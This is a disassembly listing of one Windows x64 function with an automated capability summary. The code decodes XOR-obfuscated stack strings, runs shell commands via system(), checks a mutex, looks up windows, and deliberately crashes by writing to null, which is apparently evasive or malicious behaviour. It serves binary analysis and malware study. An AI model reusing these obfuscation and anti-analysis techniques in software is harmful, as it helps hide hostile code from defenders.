Function at 0x1400062a0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Execute command
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x940]
sub rsp, 0xa40
mov rax, qword [0x140090080]
xor rax, rsp
mov qword [rbp + 0x930], rax
xor esi, esi
mov r15d, esi
mov dword [rsp + 0x78], esi
movss xmm1, dword [0x140084348]
movss xmm2, dword [0x14008434c]
movaps xmm0, xmm1
unpcklps xmm0, xmm1
movq rdx, xmm0
movss xmm1, dword [0x140084350]
unpcklps xmm1, xmm2
movq rcx, xmm1
call fcn.140005f20
call fcn.140002f20
movdqa xmm0, xmmword [0x1400844a0]
movdqu xmmword [rbp + 0x148], xmm0
xor ecx, ecx
mov byte [rbp + 0x158], cl
mov r8d, esi
movsxd rdx, r8d
lea ecx, [r8 + 0x4f]
xor byte [rbp + rdx + 0x148], cl
inc r8d
cmp r8d, 0x10
jb 0x140006331
mov byte [rbp + 0x158], sil
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.14000b430
mov dword [rbp + 0x1c8], 0xb6b4b28d
mov dword [rbp + 0x1cc], 0x76b0a6bb
mov dword [rbp + 0x1d0], 0xada7b3bd
mov word [rbp + 0x1d4], 0x7c61
xor eax, eax
mov byte [rbp + 0x1d6], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x1c8], al
inc edx
cmp edx, 0xe
jb 0x140006390
mov byte [rbp + 0x1d6], sil
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x578]
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x1c8]
mov rcx, qword [0x140075460]
call fcn.14000bf00
mov rcx, qword [0x1400754b0]
call fcn.14000d0b0
lea rdx, [0x140090f78]
lea rcx, [rbp + 0x78]
call fcn.1400093d0
mov rdx, rax
lea rcx, [0x140091040]
call fcn.14001c120
lea rdi, [0x140090f58]
mov r12, 0xffffffffffffffff
movabs r13, 0x7fffffffffffffff
mov edx, esi
cmp byte [0x140091250], sil
jne 0x14000669c
mov dword [rsp + 0x68], 0x223c2c
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rsp + rcx + 0x68], al
inc edx
cmp edx, 3
jb 0x140006431
mov byte [rsp + 0x6b], sil
lea rcx, [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp - 0x40], 0xffffffffffd23940
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x140006480
mov byte [rbp + 0x158], sil
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
movdqa xmm0, xmmword [0x1400846e0]
movdqu xmmword [rbp + 0x290], xmm0
mov dword [rbp + 0x2a0], 0x425b88b7
xor eax, eax
mov byte [rbp + 0x2a4], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x290], al
inc edx
cmp edx, 0x14
jb 0x1400064d0
mov byte [rbp + 0x2a4], sil
lea rax, [rbp + 0x290]
mov rcx, r12
inc rcx
cmp byte [rax + rcx], sil
jne 0x1400064f5
mov rdx, qword [0x140091268]
mov rax, r13
sub rax, rdx
cmp rax, rcx
jb 0x140008856
lea rax, [0x140091258]
cmp qword [0x140091270], 0x10
cmovae rax, qword [0x140091258]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x290]
lea rcx, [rbp + 0x3b8]
call fcn.14000d910
mov r15d, 0x8000
lea rbx, [rbp + 0x3b8]
cmp qword [rbp + 0x3d0], 0x10
cmovae rbx, qword [rbp + 0x3b8]
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x590]
mov rcx, rax
call fcn.1400034a0
mov rdx, rbx
mov rcx, qword [0x140075460]
call fcn.14000bf00
nop
mov rdx, qword [rbp + 0x3d0]
cmp rdx, 0x10
jb 0x1400065d4
inc rdx
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000880e
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x3c8], xmm0
mov byte [rbp + 0x3b8], 0
mov qword [rbp - 0x38], 0xfffffffffd050f80
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x140006610
mov byte [rbp + 0x158], 0
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
movdqa xmm0, xmmword [0x140084620]
movdqu xmmword [rbp + 0x148], xmm0
mov word [rbp + 0x158], 0x132c
xor eax, eax
mov byte [rbp + 0x15a], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x12
jb 0x140006660
mov byte [rbp + 0x15a], 0
lea rcx, [rbp + 0x148]
call fcn.140009cd0
test eax, eax
jns 0x140006847
mov byte [0], 0
jmp 0x140006847
mov dword [rsp + 0x6c], 0x223c2c
nop dword [rax]
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rsp + rcx + 0x6c], al
inc edx
cmp edx, 3
jb 0x1400066b0
mov byte [rsp + 0x6f], sil
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp - 0x30], 0xffffffffffd23940
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x140006700
mov byte [rbp + 0x158], sil
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
movdqa xmm0, xmmword [0x1400846f0]
movdqu xmmword [rbp + 0x2f0], xmm0
mov dword [rbp + 0x300], 0x9d8996bf
mov word [rbp + 0x304], 0x42
mov edx, esi
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x2f0], al
inc edx
cmp edx, 0x15
jb 0x140006750
mov byte [rbp + 0x305], sil
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x5a8]
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x2f0]
mov rcx, qword [0x140075460]
call fcn.14000bf00
mov qword [rbp - 0x28], 0xffffffffff85ee00
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x1400067c0
mov byte [rbp + 0x158], sil
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
mov dword [rsp + 0x70], 0x223c2c
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rsp + rcx + 0x70], al
inc edx
cmp edx, 3
jb 0x140006800
mov byte [rsp + 0x73], sil
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400911c0]
cmp qword [0x1400911d8], 0x10
cmovae rdx, qword [0x1400911c0]
mov r8, qword [0x1400911d0]
mov rcx, rdi
call fcn.1400096f0
mov dword [rsp + 0x5c], 0x62627e
mov edx, esi
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rsp + rcx + 0x5c], al
inc edx
cmp edx, 3
jb 0x140006851
mov byte [rsp + 0x5f], 0
mov word [rsp + 0x58], 0x7012
xor eax, eax
mov byte [rsp + 0x5a], al
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rsp + rcx + 0x58], al
inc edx
cmp edx, 2
jb 0x140006880
mov byte [rsp + 0x5a], 0
mov word [rsp + 0x50], reloc.WS2_32.dll_sendto
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rsp + rcx + 0x50], al
inc edx
cmp edx, 1
jb 0x1400068a0
mov byte [rsp + 0x51], 0
lea rax, [rsp + 0x50]
mov rcx, r12
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400068c0
mov rdx, qword [0x140090f68]
mov rax, r13
sub rax, rdx
cmp rax, rcx
jb 0x140008856
cmp qword [0x140090f70], 0x10
cmovae rdi, qword [0x140090f58]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x50]
lea rcx, [rbp + 0x438]
call fcn.14000d910
bts r15d, 0xe
lea rax, [rsp + 0x58]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006920
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x438]
call fcn.140009860
xorps xmm0, xmm0
movups xmmword [rbp + 0x398], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3a8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x398], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3a8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0xd
lea rax, [rsp + 0x5c]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140006981
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x398]
call fcn.140009860
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0xc
mov dword [rsp + 0x78], r15d
lea rdx, [rbp + 0x10]
lea rcx, [0x140091040]
call fcn.14001d470
nop
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0x10
jb 0x140006a28
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x3a8], xmm0
mov byte [rbp + 0x398], 0
mov rdx, qword [rbp + 0x450]
cmp rdx, 0x10
jb 0x140006a80
inc rdx
mov rcx, qword [rbp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000880e
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x448], xmm0
mov byte [rbp + 0x438], 0
movdqa xmm1, xmmword [0x140084390]
movdqu xmmword [rbp + 0x148], xmm1
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0xf
jb 0x140006ab0
mov byte [rbp + 0x157], 0
mov rdx, r12
lea rcx, [rbp + 0x148]
call fcn.14000a600
mov r14, qword [0x140091220]
mov rax, qword [0x140091228]
mov qword [rbp - 0x80], rax
movabs rcx, 0x8000000000000000
mov edx, reloc.WLDAP32.dll_Ordinal_22
cmp r14, rax
je 0x140006e43
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
mov qword [rbp + 0x268], rsi
mov qword [rbp + 0x270], rsi
mov rdi, qword [r14 + 0x10]
mov r15, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140006b2d
mov r15, qword [r14]
cmp rdi, r13
ja 0x140008856
mov qword [rbp + 0x270], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x140006b5e
mov qword [rbp + 0x268], rdi
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x258], xmm0
jmp 0x140006beb
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x140006b73
mov rbx, r13
lea rax, [rcx + 0x27]
jmp 0x140006b95
cmp rbx, 0x16
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006bb7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000885c
mov rcx, rax
call fcn.140071b1c
mov rcx, rax
test rax, rax
je 0x14000880e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006bc6
test rcx, rcx
je 0x140006bc3
call fcn.140071b1c
jmp 0x140006bc6
mov rax, rsi
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x268], rdi
mov qword [rbp + 0x270], rbx
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov dword [rbp + 0x160], 0x3e3d3118
mov dword [rbp + 0x164], 0x3d36351b
xor eax, eax
mov byte [rbp + 0x168], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x160], al
inc edx
cmp edx, 8
jb 0x140006c10
mov byte [rbp + 0x168], 0
lea rcx, [rbp + 0x160]
mov rax, r12
inc rax
cmp byte [rcx + rax], 0
jne 0x140006c35
lea rcx, [rbp + 0x258]
cmp qword [rbp + 0x270], 0x10
cmovae rcx, qword [rbp + 0x258]
mov r8, qword [rbp + 0x268]
cmp r8, rax
jne 0x140006cd2
lea rdx, [rbp + 0x160]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140006cd2
movdqa xmm0, xmmword [0x1400845c0]
movdqu xmmword [rbp + 0x338], xmm0
xor eax, eax
mov byte [rbp + 0x348], al
mov edx, esi
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x338], al
inc edx
cmp edx, 0x10
jb 0x140006c90
mov byte [rbp + 0x348], 0
lea rax, [rbp + 0x338]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140006cb5
lea rdx, [rbp + 0x338]
lea rcx, [0x1400900b8]
call fcn.1400096f0
mov dword [rbp + 0x170], 0xd14061f
mov dword [rbp + 0x174], 0x3d36351b
xor eax, eax
mov byte [rbp + 0x178], al
mov edx, esi
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x170], al
inc edx
cmp edx, 8
jb 0x140006cf0
mov byte [rbp + 0x178], 0
lea rcx, [rbp + 0x170]
mov rax, r12
inc rax
cmp byte [rcx + rax], 0
jne 0x140006d15
lea rcx, [rbp + 0x258]
mov rbx, qword [rbp + 0x258]
mov rdi, qword [rbp + 0x270]
cmp rdi, 0x10
cmovae rcx, rbx
mov r8, qword [rbp + 0x268]
cmp r8, rax
jne 0x140006dd0
lea rdx, [rbp + 0x170]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140006dd0
movdqa xmm0, xmmword [str._n___ebwuy_n_r]
movdqu xmmword [rbp + 0x2d8], xmm0
mov dword [rbp + 0x2e8], 0xa033e
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x2d8], al
inc edx
cmp edx, 0x13
jb 0x140006d80
mov byte [rbp + 0x2eb], 0
lea rax, [rbp + 0x2d8]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140006da5
lea rdx, [rbp + 0x2d8]
lea rcx, [0x1400900b8]
call fcn.1400096f0
mov rdi, qword [rbp + 0x270]
mov rbx, qword [rbp + 0x258]
cmp rdi, 0x10
jb 0x140006e07
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140006dff
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000880e
mov rcx, rbx
call fcn.140071e80
mov qword [rbp + 0x268], rsi
mov qword [rbp + 0x270], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x258], 0
add r14, 0x20
cmp r14, qword [rbp - 0x80]
je 0x140006e3e
movabs rcx, 0x8000000000000000
mov edx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140006b04
mov r15d, dword [rsp + 0x78]
movdqa xmm0, xmmword [0x1400846a0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov dword [rbp + 0x2b8], 0x424c406b
xor eax, eax
mov byte [rbp + 0x2bc], al
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x2a8], al
inc edx
cmp edx, 0x14
jb 0x140006e70
mov byte [rbp + 0x2bc], 0
lea rax, [rbp + 0x2a8]
mov rcx, r12
inc rcx
cmp byte [rax + rcx], 0
jne 0x140006e95
mov rdx, qword [0x1400900c8]
mov rax, r13
sub rax, rdx
cmp rax, rcx
jb 0x140008856
lea rax, [0x1400900b8]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rax, qword [0x1400900b8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x2a8]
lea rcx, [rbp + 0x4e8]
call fcn.14000d910
or r15d, 1
lea rbx, [rbp + 0x4e8]
cmp qword [rbp + 0x500], 0x10
cmovae rbx, qword [rbp + 0x4e8]
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x5c0]
mov rcx, rax
call fcn.1400034a0
mov rdx, rbx
mov rcx, qword [0x140075460]
call fcn.14000bf00
lea rdx, [0x14000c0d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x140084670]
movdqu xmmword [rbp + 0x418], xmm0
movdqa xmm1, xmmword [str.b__YX_ZUTWVQP]
movdqu xmmword [rbp + 0x428], xmm1
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x418], al
inc edx
cmp edx, 0x1f
jb 0x140006f70
mov byte [rbp + 0x437], 0
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x5d8]
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x418]
mov rcx, qword [0x140075460]
call fcn.14000bf00
lea rdx, [0x14000c0d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp - 0x20], 0xffffffffffd23940
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x140006ff0
mov byte [rbp + 0x158], 0
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
mov dword [rbp + 0x1b8], 0x373b3e06
mov dword [rbp + 0x1bc], 0x243a2030
mov dword [rbp + 0x1c0], 0x3d363477
mov word [rbp + 0x1c4], 0x61
mov edx, esi
nop dword [rax]
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x1b8], al
inc edx
cmp edx, 0xd
jb 0x140007050
mov byte [rbp + 0x1c5], 0
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x5f0]
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x1b8]
mov rcx, qword [0x140075460]
call fcn.14000bf00
lea rdx, [0x14000c0d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x140084390]
movdqu xmmword [rbp + 0x148], xmm0
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0xf
jb 0x1400070c0
mov byte [rbp + 0x157], 0
mov rdx, r12
lea rcx, [rbp + 0x148]
call fcn.14000a600
mov dword [rbp + 0x180], 0x34233118
mov dword [rbp + 0x184], 0x303732
mov edx, esi
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x180], al
inc edx
cmp edx, 7
jb 0x140007100
mov byte [rbp + 0x187], 0
mov dword [rbp + 0x188], 0x1728222c
mov dword [rbp + 0x18c], 0x181c131d
mov word [rbp + 0x190], reloc.WS2_32.dll_select
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x188], al
inc edx
cmp edx, 9
jb 0x140007140
mov byte [rbp + 0x191], 0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x188]
call qword [sym.imp.USER32.dll_FindWindowA]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rbp - 0x80], eax
test rbx, rbx
je 0x14000718d
test eax, eax
jne 0x1400072b3
mov dword [rbp - 0x80], esi
movdqa xmm0, xmmword [0x140084570]
movdqu xmmword [rbp + 0x308], xmm0
mov dword [rbp + 0x318], 0xf00077f
mov word [rbp + 0x31c], 6
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x308], al
inc edx
cmp edx, 0x15
jb 0x1400071c0
mov byte [rbp + 0x31d], 0
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x560]
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x308]
mov rcx, qword [0x140075460]
call fcn.14000bf00
mov qword [rbp - 0x18], 0xfffffffffe8287c0
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x140007230
mov byte [rbp + 0x158], 0
lea r8, [rbp - 0x18]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
movdqa xmm0, xmmword [0x140084620]
movdqu xmmword [rbp + 0x148], xmm0
mov word [rbp + 0x158], 0x132c
xor eax, eax
mov byte [rbp + 0x15a], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x12
jb 0x140007280
mov byte [rbp + 0x15a], 0
lea rcx, [rbp + 0x148]
call fcn.140009cd0
test eax, eax
jns 0x1400072b3
mov byte [0], 0
mov edx, 0x832ca321
lea rcx, [rbp + 0x3d8]
call fcn.140009af0
or r15d, 0xc00
lea r8, [rbp + 0x3d8]
cmp qword [rbp + 0x3f0], 0x10
cmovae r8, qword [rbp + 0x3d8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
mov rdx, qword [rbp + 0x3f0]
cmp rdx, 0x10
jb 0x140007330
inc rdx
mov rcx, qword [rbp + 0x3d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000732b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007977
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x3e8], xmm0
mov byte [rbp + 0x3d8], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140007475
mov dword [rbp + 0x198], 0x373c393b
mov dword [rbp + 0x19c], 0x24273173
mov dword [rbp + 0x1a0], 0x782a38
mov r8d, esi
nop dword [rax]
movsxd rdx, r8d
lea eax, [r8 + 0x4f]
xor byte [rbp + rdx + 0x198], al
inc r8d
cmp r8d, 0xb
jb 0x140007380
mov byte [rbp + 0x1a3], 0
mov ecx, 0xfffffff5
call fcn.140003340
lea rdx, [rbp + 0x548]
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x198]
mov rcx, qword [0x140075460]
call fcn.14000bf00
mov qword [rbp - 0x10], 0xfffffffffe8287c0
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x1400073f0
mov byte [rbp + 0x158], 0
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
movdqa xmm0, xmmword [0x140084620]
movdqu xmmword [rbp + 0x148], xmm0
mov word [rbp + 0x158], 0x132c
xor eax, eax
mov byte [rbp + 0x15a], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x12
jb 0x140007440
mov byte [rbp + 0x15a], 0
lea rcx, [rbp + 0x148]
call fcn.140009cd0
test eax, eax
jns 0x140007487
mov byte [0], 0
jmp 0x140007487
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1400900b8]
lea rcx, [rbp + 0x98]
call fcn.1400093d0
mov rbx, rax
mov qword [rsp + 0x78], rax
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.1400093d0
mov r8, rax
lea rdx, [rbp + 0x508]
lea rcx, [0x140091040]
call fcn.140021a90
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400074d2
mov rax, qword [rax]
mov rcx, rax
call fcn.1400019f0
mov edi, eax
mov rdx, qword [rbp + 0x520]
cmp rdx, 0x10
jb 0x140007520
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000751b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000751b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x518], xmm0
mov byte [rbp + 0x508], 0
xor edi, 0x963095
mov edx, edi
lea rcx, [rbp + 0x58]
call fcn.140009af0
or r15d, 0xc
mov dword [rsp + 0x78], r15d
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000758b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140007586
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140007977
mov rcx, r8
call fcn.140071e80
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea r8, [rbp + 0x58]
lea rdx, [rbp + 0x30]
lea rcx, [0x140091040]
call fcn.140017e00
nop
cmp byte [0x140091250], 0
jne 0x14000779b
movdqa xmm0, xmmword [0x140084690]
movdqu xmmword [rbp + 0x2c0], xmm0
mov dword [rbp + 0x2d0], 0x411c7f
mov edx, esi
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x2c0], al
inc edx
cmp edx, 0x13
jb 0x1400075e0
mov byte [rbp + 0x2d3], 0
lea rax, [rbp + 0x2c0]
mov rcx, r12
inc rcx
cmp byte [rax + rcx], 0
jne 0x140007605
mov rdx, qword [0x140091268]
mov rax, r13
sub rax, rdx
